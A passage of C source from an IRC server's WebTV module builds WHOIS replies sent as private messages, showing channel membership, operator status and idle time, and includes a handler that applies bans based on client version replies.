:%s is a registered nick", sptr->name, name); found = 1; mlen = 24 + strlen(sptr->name) + strlen(name); for (len = 0, *buf = '\0', lp = user->channel; lp; lp = lp->next) { chptr = lp->chptr; showchannel = 0; if (ShowChannel(sptr, chptr)) showchannel = 1; if (OPCanSeeSecret(sptr)) showchannel = 1; if ((acptr->umodes & UMODE_HIDEWHOIS) && !IsMember(sptr, chptr) && !IsAnOper(sptr)) showchannel = 0; if (IsServices(acptr) && !IsNetAdmin(sptr)) showchannel = 0; if (acptr == sptr) showchannel = 1; if (showchannel) { long access; if (len + strlen(chptr->chname) > (size_t)BUFSIZE - 4 - mlen) { sendto_one(sptr, ":IRC PRIVMSG %s :%s is on %s", sptr->name, name, buf); *buf = '\0'; len = 0; } #ifdef SHOW_SECRET if (IsAnOper(sptr) #else if (IsNetAdmin(sptr) #endif && SecretChannel(chptr) && !IsMember(sptr, chptr)) *(buf + len++) = '?'; if (acptr->umodes & UMODE_HIDEWHOIS && !IsMember(sptr, chptr) && IsAnOper(sptr)) *(buf + len++) = '!'; access = get_access(acptr, chptr); #ifndef PREFIX_AQ if (access & CHFL_CHANOWNER) *(buf + len++) = '*'; else if (access & CHFL_CHANPROT) *(buf + len++) = '^'; #else if (access & CHFL_CHANOWNER) *(buf + len++) = '~'; else if (access & CHFL_CHANPROT) *(buf + len++) = '&'; #endif else if (access & CHFL_CHANOP) *(buf + len++) = '@'; else if (access & CHFL_HALFOP) *(buf + len++) = '%'; else if (access & CHFL_VOICE) *(buf + len++) = '+'; if (len) *(buf + len) = '\0'; (void)strcpy(buf + len, chptr->chname); len += strlen(chptr->chname); (void)strcat(buf + len, " "); len++; } } if (buf[0] != '\0') sendto_one(sptr, ":IRC PRIVMSG %s :%s is on %s", sptr->name, name, buf); sendto_one(sptr, ":IRC PRIVMSG %s :%s is on irc via %s %s", sptr->name, name, user->server, a2cptr ? a2cptr->info : "*Not On This Net*"); if (user->away) sendto_one(sptr, ":IRC PRIVMSG %s :%s is away: %s", sptr->name, name, user->away); /* makesure they aren't +H (we'll also check before we display a helpop or IRCD Coder msg) -- codemastr */ if ((IsAnOper(acptr) || IsServices(acptr)) && (!IsHideOper(acptr) || sptr == acptr || IsAnOper(sptr))) { buf[0] = '\0'; if (IsNetAdmin(acptr)) strcat(buf, "a Network Administrator"); else if (IsSAdmin(acptr)) strcat(buf, "a Services Administrator"); else if (IsAdmin(acptr) && !IsCoAdmin(acptr)) strcat(buf, "a Server Administrator"); else if (IsCoAdmin(acptr)) strcat(buf, "a Co Administrator"); else if (IsServices(acptr)) strcat(buf, "a Network Service"); else if (IsOper(acptr)) strcat(buf, "an IRC Operator"); else strcat(buf, "a Local IRC Operator"); if (buf[0]) sendto_one(sptr, ":IRC PRIVMSG %s :%s is %s on %s", sptr->name, name, buf, ircnetwork); } if (IsHelpOp(acptr) && (!IsHideOper(acptr) || sptr == acptr || IsAnOper(sptr))) if (!acptr->user->away) sendto_one(sptr, ":IRC PRIVMSG %s :%s is available for help.", sptr->name, acptr->name); if (acptr->umodes & UMODE_BOT) { sendto_one(sptr, ":IRC PRIVMSG %s :%s is a Bot on %s", sptr->name, name, ircnetwork); } if (acptr->umodes & UMODE_SECURE) { sendto_one(sptr, ":IRC PRIVMSG %s :%s is a Secure Connection", sptr->name, acptr->name); } if (acptr->user->swhois) { if (*acptr->user->swhois != '\0') sendto_one(sptr, ":IRC PRIVMSG %s :%s %s", sptr->name, acptr->name, acptr->user->swhois); } if (acptr->user && MyConnect(acptr)) sendto_one(sptr, ":IRC PRIVMSG %s :%s has been idle for %s signed on at %s", sptr->name, acptr->name, (char *)convert_time(TStime() - acptr->last), date(acptr->firsttime)); } if (!found) { sendto_one(sptr, ":IRC PRIVMSG %s :%s - No such nick", sptr->name, nick); } } sendto_one(sptr, ":IRC PRIVMSG %s :End of whois information for %s", sptr->name, query); return 0; } int ban_version(aClient *cptr, aClient *sptr, int parc, char *parv[]) { int len; ConfigItem_ban *ban; if (parc < 2) return 0; len = strlen(parv[1]); if (!len) return 0; if (parv[1][len-1] == '\1') parv[1][len-1] = '\0'; if ((ban = Find_ban(NULL, parv[1], CONF_BAN_VERSION))) return place_host_ban(sptr, ban->action, ban->reason, BAN_VERSION_TKL_TIME); return 0; }
therock247uk/rock-ircd
src/modules/webtv.c
C
gpl-2.0
11,291